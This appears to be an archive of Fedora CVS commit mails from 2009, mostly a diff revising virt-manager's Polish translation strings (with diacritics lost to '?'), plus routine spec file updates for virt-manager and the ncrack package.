 "span>"
 msgstr ""
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Urz?dzenie "
-"hosta</span>"
+"gospodarza</span>"
 
 #: ../src/vmm-add-hardware.glade.h:21
 msgid ""
@@ -2147,15 +2146,15 @@
 
 #: ../src/vmm-add-hardware.glade.h:26
 msgid "Add new virtual hardware"
-msgstr "Dodaj nowy sprz?t wirtualny"
+msgstr "Dodanie nowego sprz?tu wirtualnego"
 
 #: ../src/vmm-add-hardware.glade.h:28
 msgid "Allocate entire virtual disk now"
-msgstr "Przydziel ca?y dysk wirtualny"
+msgstr "Przydzielenie ca?ego dysku wirtualnego"
 
 #: ../src/vmm-add-hardware.glade.h:30
 msgid "Bind Host:"
-msgstr "Dowi?? hosta:"
+msgstr "Dowi?zanie gospodarza:"
 
 #: ../src/vmm-add-hardware.glade.h:31 ../src/vmm-clone.glade.h:13
 #: ../src/vmm-create.glade.h:12
@@ -2196,11 +2195,11 @@
 
 #: ../src/vmm-add-hardware.glade.h:42
 msgid "Host:"
-msgstr "Host:"
+msgstr "Gospodarz:"
 
 #: ../src/vmm-add-hardware.glade.h:44
 msgid "Listen on all public network interfaces "
-msgstr "Nas?uchuj na wszystkich publicznych interfejsach sieciowych "
+msgstr "Nas?uchiwanie na wszystkich publicznych interfejsach sieciowych "
 
 #: ../src/vmm-add-hardware.glade.h:45
 msgid "Loc_ation:"
@@ -2233,50 +2232,53 @@
 
 #: ../src/vmm-add-hardware.glade.h:55
 msgid "Please indicate how you would like to view the virtual display."
-msgstr "Wska?, jak chcesz wy?wietla? ekran wirtualny."
+msgstr "Prosz? wskaza?, jak ekran wirtualny ma by? wy?wietlany."
 
 #: ../src/vmm-add-hardware.glade.h:56
 msgid ""
 "Please indicate how you'd like to assign space on this physical host system "
 "for your new virtual storage device."
 msgstr ""
-"Wska?, jak chcesz przydzieli? przestrze? na tym fizycznym systemie hosta dla "
-"nowego systemu wirtualnego."
+"Prosz? wskaza?, jak przydzieli? przestrze? na tym fizycznym systemie "
+"gospodarza dla nowego urz?dzenia wirtualnej pami?ci masowej."
 
 #: ../src/vmm-add-hardware.glade.h:57
 msgid ""
 "Please indicate how you'd like to connect your new virtual network device to "
 "the host network."
 msgstr ""
-"Wska?, jak chcesz po??czy? nowe wirtualne urz?dzenie sieciowe do sieci hosta."
+"Prosz? wskaza?, jak po??czy? nowe wirtualne urz?dzenie sieciowe do sieci "
+"gospodarza."
 
 #: ../src/vmm-add-hardware.glade.h:58
 msgid ""
 "Please indicate what kind of pointer device to connect to the virtual "
 "machine."
 msgstr ""
-"Wska?, jakim typem urz?dzenia wska?nika po??czy? si? z maszyn? wirtualn?."
+"Prosz? wskaza?, jakim typem urz?dzenia wska?nika po??czy? si? z maszyn? "
+"wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:59
 msgid ""
 "Please indicate what physical device\n"
 "to connect to the virtual machine."
 msgstr ""
-"Wska?, kt?re urz?dzenie fizyczne\n"
+"Prosz? wskaza?, kt?re urz?dzenie fizyczne\n"
 "po??czy? z maszyn? wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:61
 msgid ""
 "Please indicate what sound device type to connect to the virtual machine."
 msgstr ""
-"Wska?, jakim typem urz?dzenia d?wi?kowego po??czy? si? z maszyn? wirtualn?."
+"Prosz? wskaza?, jakim typem urz?dzenia d?wi?kowego po??czy? si? z maszyn? "
+"wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:62
 msgid ""
 "Please indicate what video device type\n"
 "to connect to the virtual machine."
 msgstr ""
-"Wska?, jakim typem urz?dzenia graficznego\n"
+"Prosz? wskaza?, jakim typem urz?dzenia graficznego\n"
 "po??czy? si? z maszyn? wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:66
@@ -2288,12 +2290,12 @@
 "This assistant will guide you through adding a new piece of virtual "
 "hardware. First select what type of hardware you wish to add:"
 msgstr ""
-"Ten asystent przeprowadzi ci? przez dodawanie nowego sprz?tu wirtualnego. "
-"Najpierw wybierz typ sprz?tu, kt?ry chcesz doda?:"
+"Ten asystent przeprowadzi u?ytkownika przez dodawanie nowego sprz?tu "
+"wirtualnego. Prosz? najpierw wybra? typ sprz?tu do dodania:"
 
 #: ../src/vmm-add-hardware.glade.h:69
 msgid "Use Telnet:"
-msgstr "U?yj telnet:"
+msgstr "U?ycie telnetu:"
 
 #: ../src/vmm-add-hardware.glade.h:70
 msgid "Virtual Network Select"
@@ -2346,7 +2348,7 @@
 
 #: ../src/vmm-choose-cd.glade.h:2
 msgid "Choose A CD Source Device"
-msgstr "Wybierz ?r?d?owe urz?dzenie CD"
+msgstr "Wyb?r ?r?d?owego urz?dzenia CD"
 
 #: ../src/vmm-choose-cd.glade.h:3
 msgid "ISO _Location:"
@@ -2358,7 +2360,7 @@
 
 #: ../src/vmm-choose-cd.glade.h:5
 msgid "_CD-ROM or DVD"
-msgstr "_CD-ROM lub DVD"
+msgstr "P?yta _CD-ROM lub DVD"
 
 #: ../src/vmm-choose-cd.glade.h:6
 msgid "_Device Media:"
@@ -2406,7 +2408,7 @@
 
 #: ../src/vmm-clone.glade.h:10
 msgid "<span size='large' color='white'>Clone virtual machine</span>"
-msgstr "<span size='large' color='white'>Sklonuj maszyn? wirtualn?</span>"
+msgstr "<span size='large' color='white'>Sklonowanie maszyny wirtualnej</span>"
 
 #: ../src/vmm-clone.glade.h:11
 msgid ""
@@ -2425,23 +2427,23 @@
 
 #: ../src/vmm-clone.glade.h:15
 msgid "Change MAC address"
-msgstr "Zmie? adres MAC"
+msgstr "Zmiana adresu MAC"
 
 #: ../src/vmm-clone.glade.h:16
 msgid "Change storage path"
-msgstr "Wybierz ?cie?k? pami?ci masowej"
+msgstr "Zmiana ?cie?ki pami?ci masowej"
 
 #: ../src/vmm-clone.glade.h:17
 msgid "Clone Virtual Machine"
-msgstr "Sklonuj maszyn? wirtualn?"
+msgstr "Sklonowanie maszyny wirtualnej"
 
 #: ../src/vmm-clone.glade.h:18
 msgid "Create a clone based on:"
-msgstr "Utw?rz klona w oparciu o:"
+msgstr "Utworzenie klona w oparciu o:"
 
 #: ../src/vmm-clone.glade.h:19
 msgid "Create a new disk (clone) for the virtual machine"
-msgstr "Utw?rz nowy dysk (klona) dla maszyny wirtualnej"
+msgstr "Utworzenie nowego dysku (klona) dla maszyny wirtualnej"
 
 #: ../src/vmm-clone.glade.h:20
 msgid "Existing disk"
@@ -2449,7 +2451,7 @@
 
 #: ../src/vmm-clone.glade.h:21
 msgid "New MAC:"
-msgstr "Nowy MAC:"
+msgstr "Nowy adres MAC:"
 
 #: ../src/vmm-clone.glade.h:22
 msgid "No networking devices"
@@ -2469,16 +2471,15 @@
 
 #: ../src/vmm-create-net.glade.h:3
 msgid "<b>Forwarding</b>"
-msgstr "<b>Przekazywanie</b>"
+msgstr "<b>Przekierowywanie</b>"
 
 #: ../src/vmm-create-net.glade.h:4
-#, fuzzy
 msgid ""
 "<b>Hint:</b> The network should be chosen from one of the IPv4 private "
 "address ranges. eg 10.0.0.0/8,  172.16.0.0/12, or 192.168.0.0/16"
 msgstr ""
 "<b>Wskaz?wka:</b> sie? powinna zosta? wybrana z podanych zakres?w prywatnych "
-"adres?w IPv4, np. 10.0.0.0/8, 172.16.0.0/12 lub 192.168.0.0/16"
+"adres?w IPv4, np. 10.0.0.0/8, 172.16.0.0/12 lub 192.168.0.0/16."
 
 #: ../src/vmm-create-net.glade.h:5
 msgid "<b>IPv4 network</b>"
@@ -2494,7 +2495,7 @@
 "network configuration in virtual machines, these parameters can be left with "
 "their default values."
 msgstr ""
-"<b>Wskaz?wka:</b> je?li nie chcesz zarezerwowa? niekt?rych adres?w, aby "
+"<b>Wskaz?wka:</b> je?li niekt?re adres nie maj? zosta? zastrze?one, aby "
 "umo?liwi? statyczn? konfiguracj? sieci w maszynie wirtualnej, te parametry "
 "powinny zosta? z domy?lnymi warto?ciami."
 
@@ -2511,7 +2512,7 @@
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Connecting to "
 "physical network</span>"
 msgstr ""
-"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">??czenie si? z "
+"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">??czenie z "
 "sieci? fizyczn?</span>"
 
 #: ../src/vmm-create-net.glade.h:10
@@ -2564,7 +2565,7 @@
 
 #: ../src/vmm-create-net.glade.h:18
 msgid "Create a new virtual network"
-msgstr "Utw?rz now? sie? wirtualn?"
+msgstr "Utworzenie nowej sieci wirtualnej"
 
 #: ../src/vmm-create-net.glade.h:19
 msgid "DHCP"
@@ -2576,7 +2577,7 @@
 
 #: ../src/vmm-create-net.glade.h:21
 msgid "Enable DHCP:"
-msgstr ""
+msgstr "W??czenie DHCP:"
 
 #: ../src/vmm-create-net.glade.h:22
 msgid "End Address"
@@ -2592,11 +2593,11 @@
 
 #: ../src/vmm-create-net.glade.h:25
 msgid "Forwarding"
-msgstr "Przekazywanie"
+msgstr "Przekierowywanie"
 
 #: ../src/vmm-create-net.glade.h:26
 msgid "Forwarding to physical network"
-msgstr "Przekazywanie do sieci fizycznej"
+msgstr "Przekierowywanie do sieci fizycznej"
 
 #: ../src/vmm-create-net.glade.h:27
 msgid "Gateway:"
@@ -2640,22 +2641,23 @@
 
 #: ../src/vmm-create-net.glade.h:40
 msgid "Please choose a name for your virtual network:"
-msgstr "Wybierz nazw? sieci wirtualnej:"
+msgstr "Prosz? wybra? nazw? sieci wirtualnej:"
 
 #: ../src/vmm-create-net.glade.h:41
 msgid ""
 "Please choose the range of addresses the DHCP server will allocate to "
 "virtual machines attached to the virtual network."
 msgstr ""
-"Wybierz zakres adres?w, kt?rych serwer DHCP b?dzie przydziela? maszynom "
-"wirtualnym pod??czonym do sieci wirtualnej."
+"Prosz? wybra? zakres adres?w, kt?rych serwer DHCP b?dzie przydziela? "
+"maszynom wirtualnym pod??czonym do sieci wirtualnej."
 
 #: ../src/vmm-create-net.glade.h:42
 msgid ""
 "Please indicate whether this virtual network should be connected to the "
 "physical network."
 msgstr ""
-"Wska?, czy ta sie? wirtualna powinna zosta? po??czona z sieci? fizyczn?."
+"Prosz? wskaza?, czy ta sie? wirtualna powinna zosta? po??czona z sieci? "
+"fizyczn?."
 
 #: ../src/vmm-create-net.glade.h:44
 msgid "Size:"
@@ -2687,25 +2689,25 @@
 "will be asked for some information about the virtual network you'd like to "
 "create, such as:"
 msgstr ""
-"Ten asystent przeprowadzi ci? przez tworzenie nowej sieci wirtualnej. "
-"Zastaniesz poproszony o kilka informacji o sieci wirtualnej, kt?r? chcesz "
-"utworzy?, takich jak:"
+"Ten asystent przeprowadzi u?ytkownika przez tworzenie nowej sieci "
+"wirtualnej. U?ytkownik zastanie poproszony o kilka informacji o sieci "
+"wirtualnej, kt?ra ma zosta? utworzona, takich jak:"
 
 #: ../src/vmm-create-net.glade.h:52
 msgid "Whether to <b>forward</b> traffic to the physical network"
-msgstr "Czy <b>przekazywa?</b> ruch do urz?dzenia fizycznego"
+msgstr "Czy <b>przekierowywa?</b> ruch do urz?dzenia fizycznego"
 
 #: ../src/vmm-create-net.glade.h:53
 msgid "You will need to choose an IPv4 address space for the virtual network:"
-msgstr "Musisz wybra? przestrze? adres?w IPv4 dla sieci wirtualnej:"
+msgstr "Nale?y wybra? przestrze? adres?w IPv4 dla sieci wirtualnej:"
 
 #: ../src/vmm-create-pool.glade.h:1
 msgid "<span size='x-large'>Add Storage Pool</span>"
-msgstr "<span size='x-large'>Dodaj pul? pami?ci masowej</span>"
+msgstr "<span size='x-large'>Dodanie puli pami?ci masowej</span>"
 
 #: ../src/vmm-create-pool.glade.h:2
 msgid "Add a New Storage Pool"
-msgstr "Dodaj now? pul? pami?ci masowej"
+msgstr "Dodanie nowej puli pami?ci masowej"
 
 #: ../src/vmm-create-pool.glade.h:3
 msgid "Browse"
@@ -2725,7 +2727,7 @@
 
 #: ../src/vmm-create-pool.glade.h:8
 msgid "Host Name:"
-msgstr "Nazwa hosta:"
+msgstr "Nazwa gospodarza:"
 
 #: ../src/vmm-create-pool.glade.h:10 ../src/vmm-create-vol.glade.h:23
 #: ../src/vmm-create.glade.h:34 ../src/vmm-details.glade.h:67
@@ -2741,8 +2743,8 @@
 msgid ""
 "Specify a storage location to be later split into virtual machine storage."
 msgstr ""
-"Podaj po?o?enie pami?ci masowej, kt?ra ma zosta? p??niej rozdzielona na "
-"pami?ci masowe maszyn wirtualnych."
+"Prosz? poda? po?o?enie pami?ci masowej, kt?ra ma zosta? p??niej rozdzielona "
+"na pami?ci masowe maszyn wirtualnych."
 
 #: ../src/vmm-create-pool.glade.h:13
 msgid "Step 1 of 2"
@@ -2758,7 +2760,7 @@
 
 #: ../src/vmm-create-vol.glade.h:1
 msgid "<span size='large'>Storage Volume Quota</span>"
-msgstr "<span size='large'>Quota woluminu pami?ci masowej</span>"
+msgstr "<span size='large'>Przydzia? woluminu pami?ci masowej</span>"
 
 #: ../src/vmm-create-vol.glade.h:2
 msgid ""
@@ -2797,7 +2799,7 @@
 
 #: ../src/vmm-create-vol.glade.h:17
 msgid "Add a Storage Volume"
-msgstr "Dodaj wolumin pami?ci masowej"
+msgstr "Dodanie woluminu pami?ci masowej"
 
 #: ../src/vmm-create-vol.glade.h:18
 msgid "Allocation:"
@@ -2806,8 +2808,8 @@
 #: ../src/vmm-create-vol.glade.h:19
 msgid "Create a storage unit that can be used directly by a virtual machine."
 msgstr ""
-"Utw?rz jednostk? pami?ci masowej, kt?ra mo?e by? u?ywana bezpo?rednio przez "
-"maszyn? wirtualn?."
+"Utworzenie jednostki pami?ci masowej, kt?ra mo?e by? u?ywana bezpo?rednio "
+"przez maszyn? wirtualn?."
 
 #: ../src/vmm-create-vol.glade.h:22
 msgid "Max Capacity:"
@@ -2815,11 +2817,11 @@
 
 #: ../src/vmm-create-vol.glade.h:25
 msgid "available space:"
-msgstr "dost?pna przestrze?:"
+msgstr "dost?pne miejsce:"
 
 #: ../src/vmm-create.glade.h:1
 msgid "(Insert host mem)"
-msgstr "(Podaj pami?? hosta)"
+msgstr "(Prosz? poda? pami?? gospodarza)"
 
 #: ../src/vmm-create.glade.h:2
 msgid "<span color='#484848'>CPUs:</span>"
@@ -2839,7 +2841,8 @@
 
 #: ../src/vmm-create.glade.h:7
 msgid "<span size='large' color='white'>Create a new virtual machine</span>"
-msgstr "<span size='large' color='white'>Utw?rz now? maszyn? wirtualn?</span>"
+msgstr ""
+"<span size='large' color='white'>Utworzenie nowej maszyny wirtualnej</span>"
 
 #: ../src/vmm-create.glade.h:8
 msgid "Advanced options"
@@ -2847,7 +2850,7 @@
 
 #: ../src/vmm-create.glade.h:9
 msgid "Allocate entire disk now"
-msgstr "Przydziel teraz ca?y dysk"
+msgstr "Przydzielenie ca?ego dysku"
 
 #: ../src/vmm-create.glade.h:10 ../src/vmm-details.glade.h:24
 #: ../src/vmm-host.glade.h:9
@@ -2856,7 +2859,8 @@
 
 #: ../src/vmm-create.glade.h:11
 msgid "Automatically detect operating system based on install media"
-msgstr "Automatycznie wykryj system operacyjny, w oparciu o no?nik instalacji"
+msgstr ""
+"Automatyczne wykrywanie systemu operacyjny, w oparciu o no?nik instalacji"
 
 #: ../src/vmm-create.glade.h:13
 msgid "CPUs:"
@@ -2864,15 +2868,15 @@
 
 #: ../src/vmm-create.glade.h:14
 msgid "Choose Memory and CPU settings"
-msgstr "Wybierz ustawienia pami?ci i procesora"
+msgstr "Prosz? wybra? ustawienia pami?ci i procesora"
 
 #: ../src/vmm-create.glade.h:15
 msgid "Choose an operating systen type and version"
-msgstr "Wybierz typ i wersj? systemu operacyjnego"
+msgstr "Prosz? wybra? typ i wersj? systemu operacyjnego"
 
 #: ../src/vmm-create.glade.h:16
 msgid "Choose how you would like to install the operating system"
-msgstr "Wska?, jak chcesz zainstalowa? system operacyjny"
+msgstr "Prosz? wybra?, jak zainstalowa? system operacyjny"
 
 #: ../src/vmm-create.glade.h:17 ../src/vmm-host.glade.h:13
 #: ../src/vmm-open-connection.glade.h:6
@@ -2881,19 +2885,19 @@
 
 #: ../src/vmm-create.glade.h:18
 msgid "Create a disk image on the computer's hard drive"
-msgstr "Utw?rz obraz dysku na dysku twardym komputera"
+msgstr "Utworzenie obrazu dysku na dysku twardym komputera"
 
 #: ../src/vmm-create.glade.h:19
 msgid "Enable storage for this virtual machine"
-msgstr "W??cz pami?? masow? dla tej maszyny wirtualnej"
+msgstr "W??czenie pami?ci masowej dla tej maszyny wirtualnej"
 
 #: ../src/vmm-create.glade.h:20
 msgid "Enter your virtual machine details"
-msgstr "Podaj szczeg??y maszyny wirtualnej"
+msgstr "Prosz? poda? szczeg??y maszyny wirtualnej"
 
 #: ../src/vmm-create.glade.h:21
 msgid "Error message"
-msgstr ""
+msgstr "Komunikat b??du"
 
 #: ../src/vmm-create.glade.h:23
 msgid "GB"
@@ -2905,7 +2909,7 @@
 
 #: ../src/vmm-create.glade.h:25
 msgid "Install"
-msgstr "Zainstaluj"
+msgstr "Instalacja"
 
 #: ../src/vmm-create.glade.h:26
 msgid "Kernel Options:"
@@ -2917,11 +2921,11 @@
 
 #: ../src/vmm-create.glade.h:28
 msgid "Local install media (ISO image or CDROM)"
-msgstr "Lokalny no?nik instalacji (obraz ISO lub CD-ROM)"
+msgstr "Lokalny no?nik instalacji (obraz ISO lub p?yta CD-ROM)"
 
 #: ../src/vmm-create.glade.h:29
 msgid "Locate your install media"
-msgstr "Ustal po?o?enie no?nika instalacyjnego"
+msgstr "Ustalenie po?o?enia no?nika instalacji"
 
 #: ../src/vmm-create.glade.h:31
 msgid "Memory"
@@ -2953,15 +2957,15 @@
 
 #: ../src/vmm-create.glade.h:40
 msgid "Provide the operating system URL"
-msgstr "Podaj URL do systemu operacyjnego"
+msgstr "Prosz? poda? adres URL systemu operacyjnego"
 
 #: ../src/vmm-create.glade.h:41
 msgid "Select managed or other existing storage"
-msgstr "Wybierz zarz?dzan? lub inn? istniej?c? pami?? masow?"
+msgstr "Prosz? wybra? zarz?dzan? lub inn? istniej?c? pami?? masow?"
 
 #: ../src/vmm-create.glade.h:42
 msgid "Set a fixed mac address"
-msgstr "Ustaw sta?y adres MAC"
+msgstr "Ustawienie sta?ego adresu MAC"
 
 #: ../src/vmm-create.glade.h:44
 msgid "URL"
@@ -2973,11 +2977,11 @@
 
 #: ../src/vmm-create.glade.h:46
 msgid "Use CDROM or DVD"
-msgstr "U?yj CD-ROM lub DVD"
+msgstr "U?ycie p?yty CD-ROM lub DVD"
 
 #: ../src/vmm-create.glade.h:47
 msgid "Use ISO image:"
-msgstr "U?yj obrazu ISO:"
+msgstr "U?ycie obrazu ISO:"
 
 #: ../src/vmm-create.glade.h:48
 msgid "Version:"
@@ -2993,7 +2997,7 @@
 
 #: ../src/vmm-delete.glade.h:2
 msgid "Delete associated storage files"
-msgstr "Usu? powi?zane pliki pami?ci masowej"
+msgstr "Usuni?cie powi?zanych plik?w pami?ci masowej"
 
 #: ../src/vmm-details.glade.h:1
 msgid ""
@@ -3045,7 +3049,7 @@
 "the host OS."
 msgstr ""
 "<b>Wskaz?wka:</b> \"urz?dzenie ?r?d?owe\" odnosi si? do nazwy urz?dzenia "
-"widzianego z systemu operacyjnego hosta."
+"widzianego z systemu operacyjnego gospodarza."
 
 #: ../src/vmm-details.glade.h:14
 msgid ""
@@ -3053,7 +3057,7 @@
 "'target' refers to information seen from the guest OS"
 msgstr ""
 "<b>Wskaz?wka:</b> \"?r?d?o\" odnosi si? do informacji o systemie operacyjnym "
-"hosta, a \"cel\" do informacji o systemie operacyjnym go?cia"
+"gospodarza, a \"cel\" do informacji o systemie operacyjnym go?cia"
 
 #: ../src/vmm-details.glade.h:15
 msgid ""
@@ -3072,7 +3076,7 @@
 msgstr ""
 "<b>Wskaz?wka:</b> W celu uzyskania najlepszej wydajno?ci liczba wirtualnych "
 "procesor?w powinna by? ni?sza ni? (lub r?wna) liczbie fizycznych procesor?w "
-"w systemie hosta."
+"w systemie gospodarza."
 
 #: ../src/vmm-details.glade.h:17
 msgid "<b>Virtual Disk</b>"
@@ -3092,7 +3096,7 @@
 
 #: ../src/vmm-details.glade.h:21
 msgid "<b>insert type</b>"
-msgstr "<b>wstaw typ</b>"
+msgstr "<b>prosz? poda? typ</b>"
 
 #: ../src/vmm-details.glade.h:23
 msgid "Always"
@@ -3120,7 +3124,7 @@
 
 #: ../src/vmm-details.glade.h:30
 msgid "Change allocation:"
-msgstr "Zmie? przydzia?:"
+msgstr "Zmiana przydzia?u:"
 
 #: ../src/vmm-details.glade.h:31
 msgid "Char"
@@ -3180,7 +3184,7 @@
 
 #: ../src/vmm-details.glade.h:48
 msgid "Host CPUs:"
-msgstr "Procesory hosta:"
+msgstr "Procesory gospodarza:"
 
 #: ../src/vmm-details.glade.h:49
 msgid "How many virtual CPUs should be allocated for this machine?"
@@ -3281,11 +3285,11 @@
 
 #: ../src/vmm-details.glade.h:84
 msgid "Save this password in your keyring"
-msgstr "Zapisz to has?o w pliku kluczy"
+msgstr "Zapisanie has?a w bazie kluczy"
 
 #: ../src/vmm-details.glade.h:85
 msgid "Scale Display"
-msgstr "Skaluj ekran"
+msgstr "Skalowanie ekranu"
 
 #: ../src/vmm-details.glade.h:86
 msgid "Screenshot"
@@ -3293,7 +3297,7 @@
 
 #: ../src/vmm-details.glade.h:87
 msgid "Send Key"
-msgstr "Wy?lij klawisz"
+msgstr "Wys?anie klawisza"
 
 #: ../src/vmm-details.glade.h:88
 msgid "Shut Down"
@@ -3325,7 +3329,7 @@
 
 #: ../src/vmm-details.glade.h:97
 msgid "Start virtual machine on host boot up"
-msgstr "Uruchom maszyn? wirtualn? podczas uruchamiania hosta"
+msgstr "Uruchamianie maszyny wirtualnej podczas uruchamiania gospodarza"
 
 #: ../src/vmm-details.glade.h:98
 msgid "Static"
@@ -3357,7 +3361,7 @@
 
 #: ../src/vmm-details.glade.h:106
 msgid "Total memory on host machine:"
-msgstr "Ca?kowita pami?? w maszynie hosta:"
+msgstr "Ca?kowita pami?? w komputerze gospodarza:"
 
 #: ../src/vmm-details.glade.h:108
 msgid "UUID:"
@@ -3381,7 +3385,7 @@
 
 #: ../src/vmm-details.glade.h:113
 msgid "View Manager"
-msgstr "Wy?wietl mened?era"
+msgstr "Wy?wietlenie mened?era"
 
 #: ../src/vmm-details.glade.h:114
 msgid "Virtual CPU Affinity Select"
@@ -3479,15 +3483,15 @@
 
 #: ../src/vmm-host.glade.h:20
 msgid "Forwarding:"
-msgstr "Przekazywanie:"
+msgstr "Przekierowywanie:"
 
 #: ../src/vmm-host.glade.h:21 ../src/vmm-manager.glade.h:4
 msgid "Host Details"
-msgstr "Szczeg??y hosta"
+msgstr "Szczeg??y gospodarza"
 
 #: ../src/vmm-host.glade.h:22 ../src/vmm-open-connection.glade.h:8
 msgid "Hostname:"
-msgstr "Nazwa hosta:"
+msgstr "Nazwa gospodarza:"
 
 #: ../src/vmm-host.glade.h:24
 msgid "Location:"
@@ -3551,7 +3555,7 @@
 
 #: ../src/vmm-manager.glade.h:6
 msgid "Restore a saved machine from a filesystem image"
-msgstr "Przywr?? zapisan? maszyn? z obrazu systemu plik?w"
+msgstr "Przywr?cenie zapisanej maszyny z obrazu systemu plik?w"
 
 #: ../src/vmm-manager.glade.h:8
 msgid "_Edit"
@@ -3591,7 +3595,7 @@
 
 #: ../src/vmm-open-connection.glade.h:7
 msgid "Hostname Field"
-msgstr "Pole nazwy hosta"
+msgstr "Pole nazwy gospodarza"
 
 #: ../src/vmm-open-connection.glade.h:9
 msgid "Hypervisor Select"
@@ -3623,7 +3627,7 @@
 
 #: ../src/vmm-preferences.glade.h:2
 msgid "<b>Enable Stats Polling</b>"
-msgstr "<b>W??cz sonda? statystyk</b>"
+msgstr "<b>W??czenie sonda?u statystyk</b>"
 
 #: ../src/vmm-preferences.glade.h:3
 msgid "<b>General</b>"
@@ -3639,11 +3643,11 @@
 
 #: ../src/vmm-preferences.glade.h:6
 msgid "Automatically open consoles:"
-msgstr "Automatycznie otw?rz konsole:"
+msgstr "Automatyczne otwarcie konsol:"
 
 #: ../src/vmm-preferences.glade.h:8
 msgid "Enable system tray icon"
-msgstr "W??cz ikon? obszaru powiadamiania"
+msgstr "Ikona obszaru powiadamiania"
 
 #: ../src/vmm-preferences.glade.h:9
 msgid "General"
@@ -3651,7 +3655,7 @@
 
 #: ../src/vmm-preferences.glade.h:10
 msgid "Grab keyboard input:"
-msgstr "Przechwy? wej?cie klawiatury:"
+msgstr "Przechwycenie wej?cia klawiatury:"
 
 #: ../src/vmm-preferences.glade.h:11
 msgid "Graphical Console Scaling:"
@@ -3667,7 +3671,7 @@
 
 #: ../src/vmm-preferences.glade.h:14
 msgid "Maintain history of"
-msgstr "Zarz?dzaj histori?"
+msgstr "Zarz?dzanie histori?"
 
 #: ../src/vmm-preferences.glade.h:16
 msgid ""
@@ -3696,7 +3700,7 @@
 "On mouse over"
 msgstr ""
 "Nigdy\n"
-"Kiedy jest na pe?nym ekranie\n"
+"Na pe?nym ekranie\n"
 "Przy najechaniu mysz?"
 
 #: ../src/vmm-preferences.glade.h:25
@@ -3709,7 +3713,7 @@
 
 #: ../src/vmm-preferences.glade.h:28
 msgid "Update status every"
-msgstr "Zaktualizuj stan co"
+msgstr "Aktualizacja stanu co"
 
 #: ../src/vmm-preferences.glade.h:29
 msgid "VM Details"
@@ -3725,7 +3729,7 @@
 
 #: ../src/vmm-storage-browse.glade.h:1
 msgid "Choose Storage Volume"
-msgstr "Wybierz wolumin pami?ci masowej"
+msgstr "Wyb?r woluminu pami?ci masowej"
 
 #: ../src/vmm-storage-browse.glade.h:2
 msgid "Choose _Volume"
@@ -3738,33 +3742,3 @@
 #: ../src/vmm-storage-browse.glade.h:4
 msgid "_New Volume"
 msgstr "_Nowy wolumin"
-
-#~ msgid "gtk-cancel"
-#~ msgstr "gtk-cancel"
-
-#~ msgid "gtk-help"
-#~ msgstr "gtk-help"
-
-#~ msgid "gtk-ok"
-#~ msgstr "gtk-ok"
-
-#~ msgid "Create _Volume"
-#~ msgstr "Utw?rz _wolumin"
-
-#~ msgid "gtk-delete"
-#~ msgstr "gtk-delete"
-
-#~ msgid "_Contents"
-#~ msgstr "_Zawarto??"
-
-#~ msgid "Add Connection..."
-#~ msgstr "Dodaj po??czenie..."
-
-#~ msgid "Delete Virtual Machine"
-#~ msgstr "Usu? maszyn? wirtualn?"
-
-#~ msgid "Restore saved machine..."
-#~ msgstr "Przywr?? zapisan? maszyn?..."
-
-#~ msgid "Virtual Machine Details"
-#~ msgstr "Szczeg??y maszyny wirtualnej"


Index: virt-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virt-manager/devel/virt-manager.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- virt-manager.spec	29 Sep 2009 19:37:26 -0000	1.61
+++ virt-manager.spec	5 Oct 2009 14:19:29 -0000	1.62
@@ -8,7 +8,7 @@
 
 Name: virt-manager
 Version: 0.8.0
-Release: 6%{_extra_release}
+Release: 7%{_extra_release}
 Summary: Virtual Machine Manager
 
 Group: Applications/Emulators
@@ -48,6 +48,8 @@ Patch12: %{name}-%{version}-hide-help-do
 Patch13: %{name}-%{version}-update-vm-state.patch
 # Update translations (bz 493795)
 Patch14: %{name}-%{version}-update-translations.patch
+# More translations (bz 493795)
+Patch15: %{name}-%{version}-more-translations.patch
 
 # These two are just the oldest version tested
 Requires: pygtk2 >= 1.99.12-6
@@ -129,6 +131,7 @@ cp %{SOURCE3} pixmaps
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 %build
 %configure
@@ -202,6 +205,9 @@ fi
 %{_datadir}/dbus-1/services/%{name}.service
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.8.0-7.fc13
+- More translations (bz 493795)
+
 * Tue Sep 29 2009 Cole Robinson <crobinso at redhat.com> - 0.8.0-6.fc13
 - Fix VCPU hotplug
 - Remove access to outdated docs (bz 522823, bz 524805)



From smilner at fedoraproject.org  Mon Oct  5 14:20:37 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 14:20:37 +0000 (UTC)
Subject: rpms/ncrack/EL-4 ncrack.spec,1.1,1.2
Message-ID: <20091005142037.0098C11C02A0@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32089

Modified Files:
	ncrack.spec 
Log Message:
Update to (hopefully) build on EL-4



Index: ncrack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/EL-4/ncrack.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ncrack.spec	5 Oct 2009 13:56:12 -0000	1.1
+++ ncrack.spec	5 Oct 2009 14:20:36 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           ncrack
 Version:        0.01
-Release:        0.6.ALPHA%{?dist}
+Release:        0.7.ALPHA%{?dist}
 Summary:        High-speed network auth cracking tool
 
 Group:          Applications/Internet
@@ -33,7 +33,7 @@ sed -i '/\$(STRIP)/d' Makefile.in
 
 
 %build
-%configure
+%configure --without-zlib-version-check
 make %{?_smp_mflags}
 
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.7.ALPHA
+- Added --without-zlib-version-check to configure to allow building on EL-4.
+
 * Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
